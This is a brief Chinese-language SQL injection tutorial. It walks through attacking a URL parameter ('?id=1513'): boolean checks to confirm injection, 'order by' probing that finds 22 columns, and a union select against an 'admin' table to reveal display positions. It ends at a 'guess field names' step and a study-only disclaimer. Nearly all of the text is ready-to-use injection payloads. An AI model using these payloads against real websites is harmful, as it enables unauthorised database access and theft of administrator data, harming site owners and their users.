判断注入
?id=1513 and 1 # 页面显示正常
?id=1513 and 0 # 页面显示异常
判断列数
?id=1513 order by 22 # 页面显示正常
?id=1513 order by 23 # 页面显示异常
猜解表名，同时查出显示位
?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
猜解字段名
声明：本文仅用于学习，切勿对网站进行非授权测试！！